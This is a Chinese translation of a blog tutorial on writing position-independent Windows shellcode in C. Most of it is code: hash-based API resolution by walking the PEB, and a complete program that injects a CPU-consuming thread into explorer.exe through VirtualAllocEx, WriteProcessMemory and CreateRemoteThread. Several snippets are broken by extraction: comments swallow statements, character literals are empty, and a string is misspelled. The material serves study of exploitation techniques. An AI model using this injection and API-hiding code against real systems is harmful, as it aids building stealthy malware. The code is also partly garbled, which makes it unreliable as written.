使用C編譯器編寫shellcode
背景
有時(shí)候程序員們需要寫一段獨(dú)立于位置操作的代碼，可當(dāng)作一段數(shù)據(jù)寫到其他進(jìn)程或者網(wǎng)絡(luò)中去。該類型代碼在它誕生之初就被稱為shellcode，在軟件利用中黑客們以此獲取到shell權(quán)限。方法就是通過這樣或那樣的惡意手法使得這段代碼得以執(zhí)行，完成它的使命。當(dāng)然了，該代碼僅能靠它自己，作者無法使用現(xiàn)代軟件開發(fā)的實(shí)踐來推進(jìn)shellcode的編寫。
匯編常用于編寫shellcode，特別是對(duì)代碼大小挑剔的時(shí)候，匯編就是不錯(cuò)的選擇。對(duì)我個(gè)人而言，多數(shù)項(xiàng)目都需要一段類似可以注入到其他進(jìn)程的代碼。這時(shí)候我就不是特別在意代碼大小了，反而是開發(fā)效率以及調(diào)試能力顯得尤為重要。一開始，我用NASM編寫?yīng)毩⒌膮R編程序，把獲得的輸出文件轉(zhuǎn)換為C數(shù)組，然后整合到我的程序中。這正是你在milw0rm這樣的網(wǎng)站上所看到的，大多數(shù)exploit payload的獲取方式。最終我厭倦了這樣的方式，雖然很懷念NASM完備的功能，我還是開始使用內(nèi)聯(lián)匯編來解決問題。隨著經(jīng)驗(yàn)的積累，我發(fā)現(xiàn)了一個(gè)完全可用的純C開發(fā)shellcode的方法，僅需2條內(nèi)聯(lián)匯編指令。就開發(fā)速度和調(diào)試shellcode時(shí)的上下文而言，真的比單純使用匯編的方法有很大的改進(jìn)。運(yùn)用機(jī)器級(jí)的比如ollydbg這樣的調(diào)試器，我毫不含糊，但這相對(duì)于用Visual Studio調(diào)試器來調(diào)試C源碼，就是小菜一碟。
準(zhǔn)備工作
為了確保能生成可用作shellcode這樣特定格式的代碼，我們需要對(duì)Visual Studio做些特殊的配置。下面的各項(xiàng)配置，可能隨編譯器的變更而變更：
1、使用Release模式。近來編譯器的Debug模式可能產(chǎn)生逆序的函數(shù)，并且會(huì)插入許多與位置相關(guān)的調(diào)用。
2、禁用優(yōu)化。編譯器會(huì)默認(rèn)優(yōu)化那些沒有使用的函數(shù)，而那可能正是我們所需要的。
3、禁用棧緩沖區(qū)安全檢查(/Gs)。在函數(shù)頭尾所調(diào)用的棧檢查函數(shù)，存在于二進(jìn)制文件的某個(gè)特定位置，導(dǎo)致輸出的函數(shù)不能重定位，這對(duì)shellcode是無意義的。
第一個(gè)shellcode
- #include
- void shell_code()
- {
- for (;;);
- }
- void __declspec(naked) END_SHELLCODE(void) {}
- int main(int argc, char *argv[])
- {
- int sizeofshellcode = (int)END_SHELLCODE - (int)shell_code;
- // Show some info about our shellcode buffer printf("Shellcode starts at %p and is %d bytes long", shell_code. sizeofshellcode);
- // Now we can test out the shellcode by calling it from C! shell_code();
- return 0;
- }
這里所示例的shellcode除了一個(gè)無限循環(huán)，啥事也沒干。不過有一點(diǎn)是比較重要的————放在shell_code函數(shù)之后的END_SHELLCODE。有了這個(gè)，我們就能通過shell_code函數(shù)開頭和END_SHELLCODE函數(shù)開頭間的距離來確定shellcode的長(zhǎng)度了。還有，C語言在這里所體現(xiàn)的好處就是我們能夠把程序本身當(dāng)作一段數(shù)據(jù)來訪問，所以如果我們需要把shellcode寫到另外一份文件中，僅需簡(jiǎn)單的調(diào)用fwrite(shell_code, sizeofshellcode, 1, filehandle)。
Visual Studio環(huán)境中，通過調(diào)用shell_code函數(shù)，借助IDE的調(diào)試技能，就可以很容易的調(diào)試shellcode了。
在上面所示的第一個(gè)小案例中，shellcode僅用了一個(gè)函數(shù)，其實(shí)我們可以使用許多函數(shù)。只是所有的函數(shù)需要連續(xù)地存放在shell_code函數(shù)和END_SHELLCODE函數(shù)之間，這是因?yàn)楫?dāng)在內(nèi)部函數(shù)間調(diào)用時(shí)，call指令總是相對(duì)的。call指令的意思是“從距這里X字節(jié)的地方調(diào)用一個(gè)函數(shù)”。所以如果我們把執(zhí)行call的代碼和被調(diào)用的代碼都拷貝到其他地方，同時(shí)又保證了它們間的相對(duì)距離，那么鏈接時(shí)就不會(huì)出岔子。
Shellcode中數(shù)據(jù)的使用
傳統(tǒng)C源碼中，如果要用一段諸如ASCII字符的數(shù)據(jù)，可以直接內(nèi)嵌進(jìn)去，無需擔(dān)心數(shù)據(jù)的存放，比如: WinExec(“evil.exe”)。這里的“evil.exe”字符串被存儲(chǔ)在C程序的靜態(tài)區(qū)域(很可能是二進(jìn)制的.rdata節(jié)中)，如果我們把這段代碼拷貝出來，試圖將其注入到其他進(jìn)程中，就會(huì)因那段字符不存在于其他進(jìn)程的特定位置而失敗。傳統(tǒng)匯編編寫的shellcode可以輕松的使用數(shù)據(jù)，這通過使用call指令獲取到指向代碼本身的指針，而這段代碼可能就混雜著數(shù)據(jù)。下面是一個(gè)使用匯編實(shí)現(xiàn)的shellcode方式的WinExec調(diào)用：
- call end_of_string
- db 'evil.exe',0
- end_of_string:
- call WinExec
這里的第一個(gè)call指令跳過字符數(shù)據(jù)”evial.exe”，同時(shí)在棧頂存放了一個(gè)指向字符串的指針，稍后會(huì)被用作WinExec函數(shù)的參數(shù)。這種新穎的使用數(shù)據(jù)的方法有著很高的空間利用率，但是很可惜在C語言中沒有與此等價(jià)的直接調(diào)用。在用C寫shellcode時(shí)，我建議使用棧區(qū)來存放和使用字符串。為了使微軟編譯器在棧上動(dòng)態(tài)的分配字符以便重定位，你需要如下處理：
- char mystring[] = {'e','v','i','l','.','e','x','e',0};
- winexec(mystring);
你會(huì)發(fā)現(xiàn)，我將字符串聲明為字符數(shù)組的形式。如果我這樣寫char mystring[] = “evil.exe”; 在老式的微軟編譯器中，它會(huì)通過一系列的mov指令來構(gòu)成字符串，而現(xiàn)在僅會(huì)簡(jiǎn)單的將字符串從內(nèi)存中的固定位置拷貝到棧中，而如果需要重定位代碼，這就無效了。把兩種方法都試試，下載免費(fèi)的IDA Pro版本看看它們的反匯編代碼。上面的賦值語句的反匯編應(yīng)該看起來如下所示：
- mov [ebp+mystring], 65h
- mov [ebp+mystring+1], 76h
- mov [ebp+mystring+2], 69h
- mov [ebp+mystring+3], 6Ch
- mov [ebp+mystring+4], 2Eh
- mov [ebp+mystring+5], 65h
- mov [ebp+mystring+6], 78h
- mov [ebp+mystring+7], 65h
- mov [ebp+mystring+8], 0
處理數(shù)據(jù)時(shí)，字符串真的是很頭疼的一件事。其他比如結(jié)構(gòu)體、枚舉、typedef聲明、函數(shù)指針啊這些，都能如你預(yù)期的那樣正常工作，你可以利用C提供的全套功能。確保數(shù)據(jù)為局部變量，一切都OK了。
使用庫函數(shù)
我將這篇文章專注于Windows環(huán)境的shellcode。上面所提及的一些規(guī)則也適用于Unix系統(tǒng)。Windows環(huán)境下的shellcode會(huì)更復(fù)雜一點(diǎn)，因?yàn)槲覀儧]有一致公開的方法進(jìn)行系統(tǒng)調(diào)用，就像在Unix中僅需幾條匯編代碼就可以的那樣(對(duì)int 80h的調(diào)用)。我們需要利用DLL中提供的API函數(shù)，來進(jìn)行系統(tǒng)調(diào)用做些像讀寫文件、網(wǎng)絡(luò)通信這樣的事。這些DLL最終會(huì)進(jìn)行必要的系統(tǒng)調(diào)用，而它的實(shí)現(xiàn)細(xì)節(jié)幾乎隨著每次Windows的發(fā)布而變化。像《The Shellcoder’s Handbook》這樣的標(biāo)榜性著作描繪了搜尋內(nèi)存中DLL和函數(shù)的方法。如果想將shellcode做到在不同Windows版本間的可移植性，有兩個(gè)函數(shù)是必須的：1、查找kernel32.dll的函數(shù);2、實(shí)現(xiàn)GetProcAddress()函數(shù)或者查找GetProcAddress()地址的函數(shù)。我所提供的實(shí)現(xiàn)是基于hash的而非字符串的比較，下面我將提供用于shellcode的hash實(shí)現(xiàn)，并做個(gè)簡(jiǎn)短的說明。
Hash函數(shù)
在shellcode中，使用hash進(jìn)行函數(shù)的查詢是比較普遍的。較流行的ROR13 hash方法是最常用的，它的實(shí)現(xiàn)也用在了《The Shellcoder’s Handbook》中。它的基本思想是當(dāng)我們要查詢一個(gè)名為“MyFunction”的函數(shù)時(shí)，不是將字符串存放在內(nèi)存中，對(duì)每個(gè)函數(shù)名進(jìn)行字符串的比對(duì)，而是生成一個(gè)32位的hash值，將每個(gè)函數(shù)名進(jìn)行hash比對(duì)。這并不能減小運(yùn)行時(shí)間，但是可以節(jié)省shellcode的空間，也具有一定的反逆向功效。下面我提供了ASCII和Unicode版本的ROR13 hash實(shí)現(xiàn)：
- DWORD __stdcall unicode_ror13_hash(const WCHAR *unicode_string)
- {
- DWORD hash = 0;
- while (*unicode_string != 0)
- {
- DWORD val = (DWORD)*unicode_string++;
- hash = (hash >> 13) | (hash << 19); // ROR 13 hash += val;
- }
- return hash;
- }
- DWORD __stdcall ror13_hash(const char *string)
- {
- DWORD hash = 0;
- while (*string) {
- DWORD val = (DWORD) *string++;
- hash = (hash >> 13)|(hash << 19); // ROR 13 hash += val;
- }
- return hash;
- }
查找DLL
有3個(gè)鏈表可以用來描述內(nèi)存中加載的DLL：
InMemoryOrderModuleList、InInitializationOrderModuleList和InLoadOrderModuleList。它們都在PEB(進(jìn)程環(huán)境塊)中。在你的shellcode中，用哪個(gè)都可以，我所用的是InMemoryOrderModuleList。需要如下的兩條內(nèi)聯(lián)匯編來訪問PEB:
- PPEB __declspec(naked) get_peb(void)
- {
- __asm {
- mov eax, fs:[0x30]
- ret
- }
- }
現(xiàn)在我們已經(jīng)獲取了PEB，可以查詢內(nèi)存中的DLL了。唯一的一直存在于Windows進(jìn)程內(nèi)存中的DLL是ntdll.dll，但kernel32.dll會(huì)更方便一點(diǎn)，并且在99.99%的Windows進(jìn)程中(Win32子系統(tǒng))都可用。下面我提供的代碼實(shí)現(xiàn)會(huì)查詢module列表，利用unicode的ROR13 hash值查到kernel32.dll。
- HMODULE __stdcall find_kernel32(void)
- {
- return find_module_by_hash(0x8FECD63F);
- }
- HMODULE __stdcall find_module_by_hash(DWORD hash)
- {
- PPEB peb;
- LDR_DATA_TABLE_ENTRY *module_ptr, *first_mod;
- peb = get_peb();
- module_ptr = (PLDR_DATA_TABLE_ENTRY)peb->Ldr->InMemoryOrderModuleList.Flink;
- first_mod = module_ptr;
- do {
- if (unicode_ror13_hash((WCHAR *)module_ptr->FullDllName.Buffer) == hash)
- return (HMODULE)module_ptr->Reserved2[0];
- else
- module_ptr = (PLDR_DATA_TABLE_ENTRY)module_ptr->Reserved1[0];
- } while (module_ptr && module_ptr != first_mod); // because the list wraps,
- return INVALID_HANDLE_VALUE;
- }
這里所提供的find_module_by_hash函數(shù)可以利用dll名稱的hash值找到任意的加載在內(nèi)存中的DLL。如果要加載一個(gè)新的原本不再內(nèi)存中的DLL，就需要使用kernel32.dll中的LoadLibrary函數(shù)。要找到LoadLibrary函數(shù)，我們就需要實(shí)現(xiàn)GetProcAddress函數(shù)。下面的代碼實(shí)現(xiàn)利用函數(shù)名的hash值在加載的dll中查找函數(shù)：
- FARPROC __stdcall find_function(HMODULE module, DWORD hash)
- {
- IMAGE_DOS_HEADER *dos_header;
- IMAGE_NT_HEADERS *nt_headers;
- IMAGE_EXPORT_DIRECTORY *export_dir;
- DWORD *names, *funcs;
- WORD *nameords;
- int i;
- dos_header = (IMAGE_DOS_HEADER *)module;
- nt_headers = (IMAGE_NT_HEADERS *)((char *)module + dos_header->e_lfanew);
- export_dir = (IMAGE_EXPORT_DIRECTORY *)((char *)module + nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
- names = (DWORD *)((char *)module + export_dir->AddressOfNames);
- funcs = (DWORD *)((char *)module + export_dir->AddressOfFunctions);
- nameords = (WORD *)((char *)module + export_dir->AddressOfNameOrdinals);
- for (i = 0; i < export_dir->NumberOfNames; i++)
- {
- char *string = (char *)module + names[i];
- if (hash == ror13_hash(string))
- {
- WORD nameord = nameords[i];
- DWORD funcrva = funcs[nameord];
- return (FARPROC)((char *)module + funcrva);
- }
- }
- return NULL;
- }
現(xiàn)在我們可以這樣查找函數(shù)：
- HMODULE kern32 = find_kernel32();
- FARPROC loadlibrarya = find_function(kern32, 0xEC0E4E8E); // the hash of LoadLibraryA
最終成品
現(xiàn)在我將以完整的C程序的方式來展示上面所提及的內(nèi)容。代碼執(zhí)行時(shí)，將生成名為shellcode.bin的文件，它就存儲(chǔ)著shellcode。該shellcode可以向explorer.exe注入一個(gè)線程，實(shí)現(xiàn)無限循環(huán)，直至消耗完cpu。
- #include <stdio.h>
- #include <Windows.h>
- #include <winternl.h>
- #include <wchar.h>
- #include <tlhelp32.h>
- PPEB get_peb(void);
- DWORD __stdcall unicode_ror13_hash(const WCHAR *unicode_string);
- DWORD __stdcall ror13_hash(const char *string);
- HMODULE __stdcall find_module_by_hash(DWORD hash);
- HMODULE __stdcall find_kernel32(void);
- FARPROC __stdcall find_function(HMODULE module, DWORD hash);
- HANDLE __stdcall find_process(HMODULE kern32, const char *procname);
- VOID __stdcall inject_code(HMODULE kern32, HANDLE hprocess, const char *code, DWORD size);
- BOOL __stdcall strmatch(const char *a, const char *b);
- void __stdcall shell_code()
- {
- HMODULE kern32;
- DWORD *dwptr;
- HANDLE hProcess;
- char procname[] = {'e','x','p','l','o','r','e','r','.','e','x','e',0};
- char code[] = {0xEB, 0xFE};
- kern32 = find_kernel32();
- hProcess = find_process(kern32, (char *)procname);
- inject_code(kern32, hProcess, code, sizeof code);
- }
- HANDLE __stdcall find_process(HMODULE kern32, const char *procname)
- {
- FARPROC createtoolhelp32snapshot = find_function(kern32, 0xE454DFED);
- FARPROC process32first = find_function(kern32, 0x3249BAA7);
- FARPROC process32next = find_function(kern32, 0x4776654A);
- FARPROC openprocess = find_function(kern32, 0xEFE297C0);
- FARPROC createprocess = find_function(kern32, 0x16B3FE72);
- HANDLE hSnapshot;
- PROCESSENTRY32 pe32;
- hSnapshot = (HANDLE)createtoolhelp32snapshot(TH32CS_SNAPPROCESS, 0);
- if (hSnapshot == INVALID_HANDLE_VALUE)
- return INVALID_HANDLE_VALUE;
- pe32.dwSize = sizeof( PROCESSENTRY32 );
- if (!process32first(hSnapshot, &pe32))
- return INVALID_HANDLE_VALUE;
- do
- {
- if (strmatch(pe32.szExeFile, procname))
- {
- return openprocess(PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID);
- }
- } while (process32next(hSnapshot, &pe32));
- return INVALID_HANDLE_VALUE;
- }
- BOOL __stdcall strmatch(const char *a, const char *b)
- {
- while (*a != '' && *b != '')
- {
- char aA_delta = 'a' - 'A';
- char a_conv = *a >= 'a' && *a <= 'z' ? *a - aA_delta : *a;
- char b_conv = *b >= 'a' && *b <= 'z' ? *b - aA_delta : *b;
- if (a_conv != b_conv)
- return FALSE;
- a++;
- b++;
- }
- if (*b == '' && *a == '')
- return TRUE;
- else
- return FALSE;
- }
- VOID __stdcall inject_code(HMODULE kern32, HANDLE hprocess, const char *code, DWORD size)
- {
- FARPROC virtualallocex = find_function(kern32, 0x6E1A959C);
- FARPROC writeprocessmemory = find_function(kern32, 0xD83D6AA1);
- FARPROC createremotethread = find_function(kern32, 0x72BD9CDD);
- LPVOID remote_buffer;
- DWORD dwNumBytesWritten;
- remote_buffer = virtualallocex(hprocess, NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
- if (remote_buffer == NULL)
- return;
- if (!writeprocessmemory(hprocess, remote_buffer, code, size, &dwNumBytesWritten))
- return;
- createremotethread(hprocess, NULL, 0, remote_buffer, NULL, 0, NULL);
- }
- HMODULE __stdcall find_kernel32(void)
- {
- return find_module_by_hash(0x8FECD63F);
- }
- HMODULE __stdcall find_module_by_hash(DWORD hash)
- {
- PPEB peb;
- LDR_DATA_TABLE_ENTRY *module_ptr, *first_mod;
- peb = get_peb();
- module_ptr = (PLDR_DATA_TABLE_ENTRY)peb->Ldr->InMemoryOrderModuleList.Flink;
- first_mod = module_ptr;
- do {
- if (unicode_ror13_hash((WCHAR *)module_ptr->FullDllName.Buffer) == hash)
- return (HMODULE)module_ptr->Reserved2[0];
- else
- module_ptr = (PLDR_DATA_TABLE_ENTRY)module_ptr->Reserved1[0];
- } while (module_ptr && module_ptr != first_mod); // because the list wraps,
- return INVALID_HANDLE_VALUE;
- }
- PPEB __declspec(naked) get_peb(void)
- {
- __asm {
- mov eax, fs:[0x30]
- ret
- }
- }
- DWORD __stdcall unicode_ror13_hash(const WCHAR *unicode_string)
- {
- DWORD hash = 0;
- while (*unicode_string != 0)
- {
- DWORD val = (DWORD)*unicode_string++;
- hash = (hash >> 13) | (hash << 19); // ROR 13
- hash += val;
- }
- return hash;
- }
- DWORD __stdcall ror13_hash(const char *string)
- {
- DWORD hash = 0;
- while (*string) {
- DWORD val = (DWORD) *string++;
- hash = (hash >> 13)|(hash << 19); // ROR 13
- hash += val;
- }
- return hash;
- }
- FARPROC __stdcall find_function(HMODULE module, DWORD hash)
- {
- IMAGE_DOS_HEADER *dos_header;
- IMAGE_NT_HEADERS *nt_headers;
- IMAGE_EXPORT_DIRECTORY *export_dir;
- DWORD *names, *funcs;
- WORD *nameords;
- int i;
- dos_header = (IMAGE_DOS_HEADER *)module;
- nt_headers = (IMAGE_NT_HEADERS *)((char *)module + dos_header->e_lfanew);
- export_dir = (IMAGE_EXPORT_DIRECTORY *)((char *)module + nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
- names = (DWORD *)((char *)module + export_dir->AddressOfNames);
- funcs = (DWORD *)((char *)module + export_dir->AddressOfFunctions);
- nameords = (WORD *)((char *)module + export_dir->AddressOfNameOrdinals);
- for (i = 0; i < export_dir->NumberOfNames; i++)
- {
- char *string = (char *)module + names[i];
- if (hash == ror13_hash(string))
- {
- WORD nameord = nameords[i];
- DWORD funcrva = funcs[nameord];
- return (FARPROC)((char *)module + funcrva);
- }
- }
- return NULL;
- }
- void __declspec(naked) END_SHELLCODE(void) {}
- int main(int argc, char *argv[])
- {
- FILE *output_file = fopen("shellcode.bin", "w");
- fwrite(shell_code, (int)END_SHELLCODE - (int)shell_code, 1, output_file);
- fclose(output_file);
- return 0;
- }
來源聲明：本文來自Nick Harbour的博文《Writing Shellcode with a C Compiler》，由IDF實(shí)驗(yàn)室徐文博翻譯。
